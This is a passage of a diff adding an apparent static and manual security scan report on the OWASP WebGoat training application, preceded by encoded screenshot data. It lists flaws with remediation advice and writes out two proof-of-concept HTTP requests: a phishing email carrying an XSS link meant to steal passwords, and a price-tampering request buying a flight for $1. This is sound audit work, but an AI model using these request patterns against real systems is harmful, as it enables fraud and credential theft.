2Z7yYTAaAg8iADC60HBxlUIQAACEIAABM4lcBnhxWc1jk2UvW8kjvWG1SAAAQhAAAJzEDhUeG35rElGeGX6ZLH3zLXFv6xdR/WLhNfRfioRWPnQ9VH89lxH8dhzbeaGAAQgAIFtBA4TXluLY48Q2oKmZz3rO8y22HDmWCW81rbtLQTU/Ftz60zOPWsrHj1zMgYCEIAABI4hcKrwaov3uqC0xbS9ZbFEjleAow/aWrc33lpKjCnhlbXD4tKyWfp4r7/avfWWMYqxl4LKz2htZVePTWt/LC4j7VnPr/JNxXGxa23f+rXIl2OOB1aBAAQgAIHRBA4XXpEYyAivtvD1iLdojsr8bTAygiQjmLyCq8YqEaZ8a1n2Cq+Ig3db0zOm5ZERp62w8dbtsSd7ExXleeSTyovRhwPzQQACEIDAeAKHCa/1U70lvrybDk8sRLcN7RjrVmttj4VV3W5FY7yxVTuiedYCInvjExXuqmjM3t6puEaxygoNS3BZ4sbLu0wss2IpEpbV9VuRmOUx/phgRghAAAIQGEXgUOG1NloV5Gq7JaSUeIra1VivWHuByQgbJdjawtsKLu/Gpy3gljjI2GcV/sxcGWEb3RZFbZ5vEYs2D6ux9B4GoocEb81IqCG8Rh1zzAMBCEBgHgKHCS+rsEe3CHsJr8zNhSXivNcyRdwqoKrgtimihFGlPSOWKkKosnZWgGSFk8e2V4S2YtYSm5mY966fmXue4wNLIAABCECgSuAw4bUWLupmx3tLZv26Jx48gZddsy1863HeHKo4tzchnqiMbK8KsZZ3pqArvpGfWdut2Fp8LH+zYtWKU8+63pjq61HuVwRuNs+qhwD9IQABCEDgOAKHCq+93VLCaO/1mR8CIwlEomzkOswFAQhAAALHEbiF8IpuM45DyUoQGEcA0TWOJTNBAAIQmInALYTXTECxBQIQgAAEIAABCHgEEF7kBgQgAAEIQAACEDiIAMLrINAsAwEIQAACEIAABBBe5AAEIAABCEAAAhA4iADC6yDQLAMBCEAAAhCAAAQQXuQABCAAAQhAAAIQOIgAwusg0CwDAQhAAAIQgAAEEF7kAAQgAAEIQAACEDiIAMLrINAsAwEIQAACEIAABBBe5AAEIAABCEAAAhA4iADC6yDQLAMBCEAAAhCAAAQQXuQABCAAAQhAAAIQOIgAwusg0CwDAQhAAAIQgAAEEF7kAAQgAAEIQAACEDiIAMLrINCjl3n3blzoXnMt842ct/V5z7lH81XzrZmpvjO1r2Nwp3jsyXg2TiNiOJtPW+LX60vvuC22zjJ2lO+j5pmFy1F2jKvewuKlUK3/3svJpyXDFn/bsVvm2iues817ZWYjivZs8dhqz9VyvsfeK+Ws8u9KvmzNzb3GK8brddva3bbtZeOd5z1UeB11A1JJqjsEd4u/HGL1DLgyM4TXH+O9Zf/Us2f7iB57r5Szyr8r+bI92vvMoBhH4oozZHtMThVeL/OjIFobbFHfnuueOq/ctI3oG81htUWHydK29r19zWpbGHmbzGKVZe7FLdrQ7ZhRnL1DwuJm5Y1nhxenllvbL8smWnfZGx4ztfXV3O3eUw9Flbyw9qgXi0wOeHkarePlvhUrZYPK20z+WPvVYm75tM6Ftj0TF7XPrTmi87Wamxk+63hF8VC5YJ0/lb3g8Y9iYNmeja13xlj5m4n1el9buaJy3Tsf1Rm7hUHLtl0riok6B2dtv4zw6jkcosM3GxBrI2cETSVRrSJoHfbZOdvNF/nay7W1TzFpfexdtzJPZsN68Y3sU7aPYFNZQ+XyVnsU88w+s2IR7S0v1zN7pbJPrPmsopnxUXHqzanKuKzv3pwqJpk4evmWjWnGht65or2wdd0se3VWZvaryom9zo8ox9WaW/mo+KhzcKb2SwmvtVqvCKJKQiyJtV7LC5hX2Fs79ziI1JxLu0pWxcZj3s6fWS+yuTee6gBSmy2KYfagUEXMY6PYtutn8z/KYZU3GYExKu+9eSLhs1V4WXlW2SOZ/ZJhaBWwbD6ofWSdXVm7KyzWfka2e8yz/m7Nh8w6ym+Vd2rPRQw8/7wzVtmSyfGMv158o3MxOqNG5og612dvv5TwysLMHjLWfGqsN6a3oGUOabWRona1wSJ/M23R4RAdmBXOGTssjsp3S9j0xMOzb8+DM9oLWV4Rn0x8loPUY+Yd0FZebLEl2nuZgqfypDL/qL4RO2+NbNyjwl1hkYl7W7wzY6o2VPyORIOqL5V1Mnmn2Ox5fijGlb3bE9MMn4qNKnaztZ8qvNThXjnEsgeVdehUxnoBzNqqinRWQETrZTbCSIGRXS/LKBJsbfwqh6HafFn7VN5Gha2He2a+bA5n8qayXi8zFeOsP5V86C26WR+rtmTnzeZ4tp93BmYKnVcwM4W611+VK71+Z/dCz571WGZfV2dMxefMfo5in22r2JThoBio83zm9kOF1wvk+ssCE/VRY9vN326sZbwKSMbOJZm9OSNbvTZv3exh15OoaoyKR+bAzYhJdehnefYcptUYevHIFpY1D8uv6FDamsMVPlE+jmSWiX1ViHlcld3emZQpvluEV+U8UXmmzpfRwiuyPbtvLXEV5cU6jpUzrFd8tz5GZ0CbYyoe2fPdY6T8V+eNlw9ezqu9qPZYlo/aE6qOz9x+mPCaGcJdbVMF7a5+4xcEIFAnwHkRM4NPPacYYRNAeN00MzgkbhpY3ILADgQ4LzRUGGlG9MgRQHjlONELAhCAAAQgAAEIbCZwuvCqfObk5e2Wp44tY1vSlc/aLGNHr785+s0E1Vhsjcdo+5lvfgLVPVDtP4pA5nM3o9bqnedINqPXGj1fL0PGQeAMAlMJrwyAyobNfugws+66T68NlXFVm0b077GvMqbSd4Q/1Tlmt6/qz4z9q4yj/nvtb++BYlmv6sOoOOzpr3qI8nzvtSnDcHm4zT7kZjhn1s3MQx8IbCGA8OqgV9m8PbdIHSYNGVLxa1mwMqbSd4hDxUlmt6/ozpTdq4zPEF7qtqvqw6hA9Iqc7PqeX9EZ1muTYqhikPWp7afW7Z2XcRCoEDhUeK2fYKzCbW3i9mknu9GtpyX1BGXZZ21czw/ryUwdWpUx3lwVv7KFrF3LY7MlHstTtsXAOzCtfPDGRzZH82QKkHVD0MNoWStiUIlvlK/rtspezOzLNY8KW1UIPd/b13v3u3VYWja1ccrmoRffKKbqfFG2rM/W7N5Q9rS508bb2g/R/q6s5xU0b79566p9VCmc9IXAFgKHCS+vQK9f9/5tbXJvo1sHhCXy2vGefZmDORpb9S+ya+tcitnW+TNFtBIfSyhkx3u2ZGMVHfae6PJsU2tu5ZZd19sH1uu9uaD2kWq3hGPWPzW3ao/EQ5R3kc2W8FH5MMLfyhpRXli5uRZ+3tms9kiPfdm9r+KxpWAyFgIjCJwmvCqHvbXhVLFSG98SONknInWAZ4pW5uDxDriKaFS2Zg75iq1RUipboph6BcCLmVXwFm7RGLWp2ph4RcvLARU7a/0Mt7VPa5sibl6ByuZdxhdle5a3Oi+q+91bNxIaSqB4MYiEQOUcUiwrOZfx02JqCa1oT2T3mrK93c8ZFtl4qBykHQKjCVxSeHlFtXLAZYpG9nDOCBO1nnXwZAtgdn3vIFVFTc2/RzxULJUvnvioijslTs4WXqoArcWm5cuWvFM5nRFD6kBTubcer1hEsVcio3edjMCJRMeodTMCXPFrcz06n9T+rMRVnU8qD7N8VS7SDoFRBE4TXtZTknrqURtMFevKZq8U6Oy8Gf8yhVxxqKzjHezZOSqHmjrYK8wrRb3Hl2iDbS2mFWbKT8XUy6eePKvaovqr4qzGK9+3tmfFWHb/Z5hX5trStypmqmfr6NiNOvOU+B5VWJkHAmENORLPK+mXr+zGj/pnD25L5HkHQ7uexSd6eqweht56laKR6Wuxjw7TXrGiDjYrnr3Mlxha4yN/M21V4RXZ0rb1CK+MzVm2ai5PjK/3rMfc2y/empl8iezxfI6YZ84edbZErDPxXfOw9m90Lmw9z1T8e/ajF8co7upMihj17rf1uCNrH2tB4ItzDBzPIqAK3bNo9Hl7NMOj1+ujMt+oCjerb2X8Fu+PWqdi44w2VeynLwRmJnDYW40zQ7i7berJ8u7+j/TvjIJ0xpojmZ0118zc2JNnZQXrQuB8Agiv82OABRCAAAQgAAEIPIQAwushgcZNCEAAAhCAAATOJ3CK8Jr5LQAVkjNsj9Y8wx7FiHYIKALZvM32U+tV2r0Px59tS8WH2fuewXJ2Jtj3HAIIr2Kszzgwrii8+AyLn1ijP8itvvurmOKfu++d58v8re1t3vTa0Y6r/n9h5omwhZGX5712t7Fq17/LvhrFpye3GQOBswkcLryuvuHOsP+Kwmud2GcwO3tjRevvIbxG8947ZlkGvXZUhZa3TuX2KxJpvfmohF/vvGeP643r2XazPgRGEDhdeEVPjEtbW1Ssp2Krb/tUGhWn7AFXeQJVT8OtzRkWmYKS5eZxtZ66M7Z5CZllq+IV8fIKucdivdb6diPLzuOR3ZSqSFd4b8kJb09EhTHyPdtWEV7ZOa04WpyX19q/1S2Xillm/S3nVG+ce/aVYqHmVPsryq/sHqIfBK5K4FDhpQ4Oa7MvGzjTVukb2ZJty/az7FIHT1as9PRr7bGEVoZ3Jp5Rgc2Mj2zNjt+Tvzf3WiyoYhvxjx4WMjFSc2fER2SDEmgVGzNirHe9dZxGCC9LWFQ49fixJd+tAuXZ4J0plbNG2arOv6sWVOyGQIbA6cKrethWNrQqftmikzmIMgXYK0Lr19c2Z4pWa1vrc2aOdRFpRYISl956FXHX+m+JhWqeVHzawl/5GW3CHkHmcbDyRvlliZFMjiqBUc3haM3Mfs+st4fwivLWslvtFeVHNF7le5Q3njiPBKo6F7w5VX5lihZ9IHB1AocJL/WEV3maUgd/dnPvLby85KiKiOwhpxh73LLzW+JSCYsKg6oAG2l371wWE0vwV+bfyiG7P0YLr4qPmT1gidrec2JP4WWdN0owZmMU+ZudozefEF5XL+/YPyuBKYSXKujZw7YyTyTOsgUk20/ZNarAjLIny7tSXKwiURGK1eJWYbGFvzVWbfas6IjmHl2QW5u92FS4ZvNoxF7M7DEVZ5VjinnF32xftabHLhu/7Hi115WdarzaM7RD4E4EDhFe0SGw3A5YB7/Vpjaw1e6toQrbMs47VDK2ZHxon0jbMWs7tqxp+aPWXhh5Y9WcqqC3bD1e6nVPzKgYtoIw01/FQB0Qnq1WLDz7LCHrrRvlj7cH2jGZOFVyRTGoCAKVmxErZUckKDJct3KL1o/OzMy6lb2r9lcmHxUvtW9oh8BdCJwqvO4C8Qp+WAdnj92j5ulZW4m4EXM+cY6ZYvpE/vgMAQg8i8AhwutZSOf0dktxjZ6Mz/R2i09n2j3T2jCcKRrYAgEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrCVHGRwhAAAIQgAAEpiCA8JoiDBgBAQhAAAIQgMATCCC8nhBlfIQABCAAAQhAYAoCCK8pwoAREIAABCAAAQg8gQDC6wlRxkcIQAACEIAABKYggPCaIgwYAQEIQAACEIDAEwggvJ4QZXyEAAQgAAEIQGAKAgivKcKAERCAAAQgAAEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrglH+7rvvprL6X//611T2nGnMbLFZWBCjM7OCtSEAAQj8TmAq4fUqWstXG6S2oKn/v8Z7RdBbZ/26KqBtX9V/ZNJl18owGmGXKuoVrpE9Wb+tOdRYxUqNX9bM9IvyvCcemTWPilGP/Vl2o7ltsZWxEIAABHoJTCO8qoUv2z/bzxJqUUHLFLveoKhx2bWz/dR6qj1T1NdzHGVXZc1KnmwRh2odxbpHVL7G3C1GZ+RQT2wYAwEIQKAlMIXwim6mrOK59G//jvpmnqorRVGJsuXpPCr+6znUrVDUbt0EWP0t/zw7K7cLW4q6FcPIn5anZf8iolsGXt82N7L5VWWXEQsR92ycrWNuS4zWfKo+t7Hw9qjK//bBSO3VKNczcaBUQAACENiLwC2FV+ZQrgqjNgBeoYjW3qPNsssTma3Q80Sh4teuuaWot3HIMsr2ywjuqvCqrO0x90RUJNSz8eoVXkr0Zdev5FnUN7vnWlFWFWl7Ha7MCwEIQMAicFvhlXmCtg7oqPhkiuKIolwtHEeKwNFFXYm8jHBR4s0qzJYfy1re32uBNoL5XnHujVEkUlt/K+KqR7BF8bHs7N13lAUIQAACRxOYQnipJ9ZI8FhvG/QewpW3ILy+o9beu7D12rm1qFu3GNn4Zm9HMjnhbTQlBJWIU+N7uVfGjYiR8qMnZlWhWcmVCp/KPj/6QGY9CEDg/gSmEV7LodzeXlQO36gotkXbWqdyIEd917cDlv1Wuyp03g1Ly82ap73BWd8YZDgoLtW3GqOiHeWB55vnQ/u6yq3qA4AXxyj+2Xh54tGbW/nWE6Ms7yg3K/Fc97WO3so6Wdvvf8TjIQQgMBuBqYTXbHCwJ0dAFfXcLLqXEoB6huf22DNGV4vL1ex9btbiOQTuSQDhdc+4HurVnkVd3YIc6uiFF9szRlcQMuoW8sKhxXQIQOBiBN7971++fRv79de3r776+u1//ud/3v7f/9v49ZrD+XrNb3/96efXm68//fx/4+tPP7/2pz99ZX999fPrn7++fvv6mz//zOhnv77+5revr7/55u3P//uXFbuBfi/cuvx/cTEYvF7r4fDiY7D4PWfwe3OeXyreo88L5ht7/sITnuTA7Dnw/wG3qkLwIHFaXAAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
